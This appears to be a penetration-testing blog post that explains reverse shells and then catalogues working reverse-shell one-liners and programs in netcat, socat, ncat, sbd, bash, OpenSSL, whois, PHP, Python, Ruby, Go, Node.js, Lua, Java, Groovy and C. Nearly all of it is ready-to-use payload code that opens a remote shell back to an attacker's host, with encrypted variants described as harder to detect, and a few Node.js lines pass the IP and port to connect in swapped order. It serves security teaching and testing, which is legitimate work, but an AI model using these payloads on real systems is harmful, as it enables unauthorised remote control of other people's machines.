Skip to content

Reverse Shells: A Practical Guide

Published: at 10:51 PM

Introduction

In the world of penetration testing, a reverse shell is a crucial concept. It allows an attacker to connect back to their own machine from a compromised target. Once connected, the attacker can execute commands on the target system, enabling various post-exploitation techniques.

TL;DR

You can find a shorter cheat sheet version of this article here.

Table of contents

Open Table of contents

How Does a Reverse Shell Work?

In a reverse shell scenario, the attacker opens a listener on their machine, waiting for a connection from the target system. Once the target machine is compromised, the reverse shell initiates a connection back to the attacker’s machine. Unlike a traditional shell where the attacker connects to the target, the reverse shell makes the connection outbound from the target.

This method is often preferred because outbound connections are less likely to be blocked by firewalls or intrusion detection systems. Attackers can then control the compromised system, running commands as if they were logged into it.

Examples of Reverse Shells

Below are various methods and tools for establishing a reverse shell, each accompanied by a brief description to provide context on how they work.


Netcat (nc)

Netcat, often referred to as the “Swiss army knife” of networking, is a common tool used in penetration testing for creating reverse shells. It is lightweight, flexible, and available on most systems.

Listen: Sets up a listener on the attacker machine.

nc -nl PORT

Connect: Executes /bin/sh after connecting to a remote IP and port.

nc -e /bin/sh IP PORT
nc -c sh IP PORT

Alternative (without -e/-c): Creates a reverse shell using FIFO (First In, First Out) named pipes.

rm -f /tmp/f; mkfifo /tmp/f
cat /tmp/f | /bin/sh -i 2>&1 | nc IP PORT >/tmp/f

One-liner version of the command above:

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc IP PORT >/tmp/f

Socat

Socat is another tool like Netcat, but with more advanced features such as encryption and PTY allocation. It can be used to create encrypted reverse shells, which are harder to detect.

Listen: Opens a TCP port to listen for connections.

socat tcp-listen:PORT -

Connect: Executes a shell upon establishing a TCP connection.

socat exec:/bin/sh tcp:IP:PORT

Connect: Executes a shell upon establishing a TCP connection (using system).

socat system:/bin/sh tcp:IP:PORT

Connect with fork: Handles many connections by forking a new process for each connection.

socat tcp-listen:PORT,fork -

With pseudo terminal (PTY)

Listen:

socat file:`tty`,raw,echo=0 tcp-listen:PORT

Connect: Executes a shell with pseudo terminal upon establishing a TCP connection.

socat exec:/bin/sh,pty,stderr,setsid,sigint,sane tcp:IP:PORT

SSL-encrypted

Generate certificate: generate certificate and key files.

openssl req -newkey rsa:2048 -new -nodes -x509 -days 3650 -keyout key.pem -out cert.pem

Listen:

socat openssl-listen:PORT,cert=cert.pem,key=key.pem,verify=0,fork -

Connect SSL-encrypted: Secure reverse shells using SSL certificates.

socat openssl:IP:PORT,verify=0 exec:/bin/bash

Ncat

Ncat is a networking tool from the Nmap suite, used for reading, writing, and redirecting data across networks. It supports both TCP and UDP and can handle encrypted connections with SSL. Ncat is useful for tasks like reverse shells and secure data transfer.

Listen: Waits for incoming connections 

ncat --allow IP -nl PORT

Connect: Executes a shell on incoming connection.

ncat --exec /bin/sh IP PORT

SSL-encrypted: Encrypts the reverse shell using SSL.

Listen:

ncat --allow IP -vnl PORT --ssl

Connect:

ncat --exec /bin/sh --ssl IP PORT

UDP Support: Establishes a reverse shell over UDP.

Listen

ncat -ulnvp PORT

Connect: Creates a reverse shell using FIFO (First In, First Out).

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|bash -i 2>&1|ncat -u IP PORT >/tmp/f

sbd

sbd is a Netcat-clone, designed to be portable and offer strong encryption. It runs on Unix-like operating systems and on Microsoft Win32. sbd features AES encryption, program execution (-e option), choosing source port, continuous reconnection with delay, and some other nice features.

Listen: Opens a port to listen for connections.

sbd -lp PORT

Connect: Executes shell on connection.

sbd -e /bin/sh HOST PORT

Encrypted: Uses encryption for secure connections.

Listen: Setup a listener with encryption phrase.

sbd -l -c on -k ENCRYPTION_PHRASE -p PORT

Connect: Executes shell after connecting with specified encryption pass phrase.

sbd -k ENCRYPTION_PHRASE -e /bin/sh HOST PORT

Bash

A reverse shell can be initiated using only bash, without requiring extra tools. Bash has built-in networking capabilities, allowing it to create a connection to the attacker’s machine.

Listen: Sets up a listener, using for example nc on the attacker machine.

nc -nl PORT

Connect: Creates a reverse shell by redirecting I/O over TCP.

bash -i >& /dev/tcp/IP/PORT 0>&1
bash -i 5<> /dev/tcp/IP/PORT 0<&5 1>&5 2>&5

or connect with bash -c:

bash -c 'bash -i >& /dev/tcp/IP/PORT 0>&1'

UDP

Listen: using for example nc:

nc -nul PORT

Connect: Creates a reverse shell by redirecting I/O over UDP.

sh -i >& /dev/udp/IP/PORT 0>&1

Openssl

A reverse shell using OpenSSL creates an encrypted connection between the attacker and the target system. OpenSSL is used to encrypt the traffic, making detection more difficult.

Listen: Sets up an SSL server to listen for incoming connections.

openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes
openssl s_server -quiet -key key.pem -cert cert.pem -port PORT

Connect: Uses OpenSSL to establish an encrypted reverse shell.

mkfifo /tmp/s; /bin/sh -i < /tmp/s 2>&1 | openssl s_client -quiet -no_ign_eof -connect IP:PORT > /tmp/s; rm /tmp/s

whois

The whois is a network utility used for querying domain information. A reverse shell using the whois command is an less known method, where the victim sends data to the attacker’s IP via a whois query.

Listen: Sets up socat forking process for each connection.

socat tcp-listen:8090,fork,reuseaddr -

Usage: type the command, press enter and then press CTRL+D.

Connect: Evals the command and sends it via whois query.

while true; do X=`eval $(whois -h IP -p PORT "Output: $X")`; sleep 1; done

php

PHP is often used on web servers, making it a potential entry point for attackers. If a web server is vulnerable, an attacker can use PHP interpreter to establish a reverse shell.

Listen: using for example nc:

nc -nl PORT

Connect: Creates a reverse shell using exec.

php -r '$sock=fsockopen("IP", PORT);exec("/bin/sh -i <&3 >&3 2>&3");'

Connect: Creates a reverse shell using shell_exec.

php -r '$sock=fsockopen("IP", PORT);shell_exec("/bin/sh -i <&3 >&3 2>&3");'

Connect: Creates a reverse shell using system.

php -r '$sock=fsockopen("IP", PORT);system("/bin/sh -i <&3 >&3 2>&3");'

Connect: Creates a reverse shell using passthru.

php -r '$sock=fsockopen("IP", PORT);passthru("/bin/sh -i <&3 >&3 2>&3");'

Connect: Creates a reverse shell using popen.

php -r '$sock=fsockopen("IP", PORT);popen("/bin/sh -i <&3 >&3 2>&3", "r");'

Connect: Creates a reverse shell using proc_open.

php -r '$sock=fsockopen("IP", PORT);proc_open("/bin/sh -i", array(0=>$sock, 1=>$sock, 2=>$sock),$pipes);'

Connect: Creates a reverse shell using backticks.

php -r '$sock=fsockopen("IP", PORT);`/bin/sh -i <&3 >&3 2>&3`;'

Python

Python is pre-installed on many systems, making it another convenient method for reverse shells. Python scripts can open sockets and redirect shell input/output over a network connection.

Listen: using for example nc:

nc -nl PORT

Connect: Establishes a reverse shell using Python sockets.

#!/usr/bin/env python
import socket,subprocess,os
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("IP", PORT))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(["/bin/sh","-i"])

Connect: One-liner (python -c) version.

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("IP", PORT));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"])'

Ruby

Ruby, another scripting language, can also be used to establish a reverse shell. Like Python and Perl, it is available on many systems.

Listen: using for example nc:

nc -nl PORT

Connect: A reverse shell using Ruby’s socket library.

#!/usr/bin/ruby
require 'socket';
c=TCPSocket.new('IP', PORT)
$stdin.reopen(c)
$stdout.reopen(c)
$stderr.reopen(c)
$stdin.each_line{|l|l=l.strip;next if l.length==0;(IO.popen(l,"rb"){|fd| fd.each_line {|o| c.puts(o.strip) }}) rescue nil }

Connect: one-liner (sh).

ruby -rsocket -e'spawn("sh",[:in,:out,:err]=>TCPSocket.new("IP", PORT))'

Connect: one-liner (popen).

ruby -rsocket -e 'exit if fork;c=TCPSocket.new("IP",PORT);while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'

Go lang

Go is another programming language that we can use to establish a reverse-shell.

Listen: using for example nc:

nc -nl PORT

Connect: create rev.go file.

package main;
import"os/exec";
import"net";
func main(){c,_:=net.Dial("tcp","IP:PORT");cmd:=exec.Command("/bin/sh");cmd.Stdin=c;cmd.Stdout=c;cmd.Stderr=c;cmd.Run()}

build and run to start the connection:

go run rev.go

Connect: one-liner.

echo 'package main;import"os/exec";import"net";func main(){c,_:=net.Dial("tcp","IP:PORT");cmd:=exec.Command("/bin/sh");cmd.Stdin=c;cmd.Stdout=c;cmd.Stderr=c;cmd.Run()}' > /tmp/t.go && go run /tmp/t.go && rm /tmp/t.go

nodejs

Node.js is a JavaScript runtime built on Chrome’s V8 engine, designed for server-side and network applications. We can create reverse shells through the net and child_process modules.

Listen: using for example nc:

nc -nl PORT

Connect: create file rev.js script.

var net = require("net"), sh = require("child_process").exec("/bin/bash");
var client = new net.Socket();
client.connect(PORT, "IP", function(){client.pipe(sh.stdin);sh.stdout.pipe(client);
sh.stderr.pipe(client);});

Connect: one-liner.

require("child_process").exec('bash -c "bash -i >& /dev/tcp/IP/PORT 0>&1"')

Connect: by running the script.

nodejs rev.js

One-liners that can be used from the CLI.

Connect: exec.

node -e 'require("child_process").exec(`bash -c "bash -i >& /dev/tcp/IP/PORT 0>&1"`)'

Connect: single quotes.

node -e '(function(){ var net = require("net"), cp = require("child_process"), sh = cp.spawn("/bin/sh", []); var client = new net.Socket(); client.connect(PORT, "IP", function(){ client.pipe(sh.stdin); sh.stdout.pipe(client); sh.stderr.pipe(client); }); return /a/;})();'

Connect: double quotes.

node -e "(function(){ var net = require('net'), cp = require('child_process'), sh = cp.spawn('/bin/sh', []); var client = new net.Socket(); client.connect(IP, 'PORT', function(){ client.pipe(sh.stdin); sh.stdout.pipe(client); sh.stderr.pipe(client); }); return /a/;})();"

Connect: backticks.

node -e '(function(){ var net = require(`net`), cp = require(`child_process`), sh = cp.spawn(`/bin/sh`, []); var client = new net.Socket(); client.connect(IP, `PORT`, function(){ client.pipe(sh.stdin); sh.stdout.pipe(client); sh.stderr.pipe(client); }); return /a/;})();'

Connect: HEREDOC.

node - <<EOF
(function(){ var net = require('net'), cp = require('child_process'), sh = cp.spawn('/bin/sh', []); var client = new net.Socket(); client.connect(PORT, 'IP', function(){ client.pipe(sh.stdin); sh.stdout.pipe(client); sh.stderr.pipe(client); }); return /a/;})();
EOF

Lua

Lua is a lightweight, high-level scripting language designed for embedded use in applications. It can be often found installed in the operating system, which makes it a good tool for reverse-shells.

Listen: using nc:

nc -nl PORT

Connect: Opens a reverse shell using Lua’s os.execute function.

lua -e "local socket = require('socket');require('os');t=socket.tcp();t:connect('IP','PORT');os.execute('/bin/sh -i <&3 >&3 2>&3');"

Connect: Opens a reverse shell using Lua’s popen.

lua -e 'local host, port = "IP", PORT local socket = require("socket") local tcp = socket.tcp() local io = require("io") tcp:connect(host, port); while true do local cmd, status, partial = tcp:receive() local f = io.popen(cmd, "r") local s = f:read("*a") f:close() tcp:send(s) if status == "closed" then break end end tcp:close()'

Java

Java is a widely-used, high-level programming language known for its portability, object-oriented structure, and robustness. It is often used for web applications, enterprise software, mobile applications, and large-scale systems due to its strong performance and security features.

Listen: using nc:

nc -nl PORT

Create file Rev.java select version for the target operating system.

Linux

Runtime exec:

public class Rev {
       public static void main(String[] args) {
           Process p;
           try {
               p = Runtime.getRuntime().exec("bash -c $@|bash 0 echo bash -i >& /dev/tcp/IP/PORT 0>&1");
               p.waitFor();
               p.destroy();
           } catch (Exception e) {}
       }
}

ProcessBuilder:

import java.net.Socket;
import java.io.OutputStream;
import java.io.InputStream;

public class Rev {
     public static void main(String[] args) {
       String host="IP";
       int port=PORT;
       String cmd="/bin/sh";
       try {
         Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();
       } catch (Exception e) {}
     }
}

Windows

ProcessBuilder:

import java.net.Socket;
import java.io.OutputStream;
import java.io.InputStream;

public class Rev {
     public static void main(String[] args) {

       String host="IP";
       int port=PORT;
       String cmd="cmd.exe";
       try {
         Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();
       } catch (Exception e) {}
     }
}

Compile and connect

Compile Rev.java class.

javac Rev.java

Connect: copy Rev.class to the target system and execute it.

java Rev

Groovy

Groovy is an agile, dynamic programming language for the Java platform, designed to enhance developer productivity. Groovy integrates with Java, allowing developers to use existing Java libraries and frameworks. It is often used for scripting, testing, and building domain-specific languages (DSLs) due to its flexibility and ease of use.

Listen: using nc:

nc -nl PORT

Create a rev.groovy file - chose the version for target operating system.

Linux

String host="IP";
int port=PORT;
String cmd="/bin/bash";
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();

Windows

String host="IP";
int port=PORT;
String cmd="cmd.exe";
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();

Connect: by executing the script.

groovy rev.groovy

C

C is a general-purpose programming language known for its efficiency and control over system resources.

Create a rev.c file:

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>

int main(void) {
       int sockfd;
       int lport = PORT;
       struct sockaddr_in serv_addr;
       char *const params[] = {"/bin/sh", NULL};
       char *const environ[] = {NULL};

       sockfd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
       serv_addr.sin_family = AF_INET;
       serv_addr.sin_addr.s_addr = inet_addr("IP");
       serv_addr.sin_port = htons(lport);
       connect(sockfd, (struct sockaddr *) &serv_addr, 16);

       dup2(sockfd, 0);
       dup2(0, 1);
       dup2(0, 2);
       execve("/bin/sh", params, environ);
}

Compile and connect

Compile the file.

gcc rev.c -o rev

Connect: copy rev binary to the target system and execute it.

./rev

Conclusion

This guide showcases various reverse shell techniques, giving penetration testers and security professionals insight into how these tools work. Each tool offers different features, ranging from simplicity to advanced encryption options.


References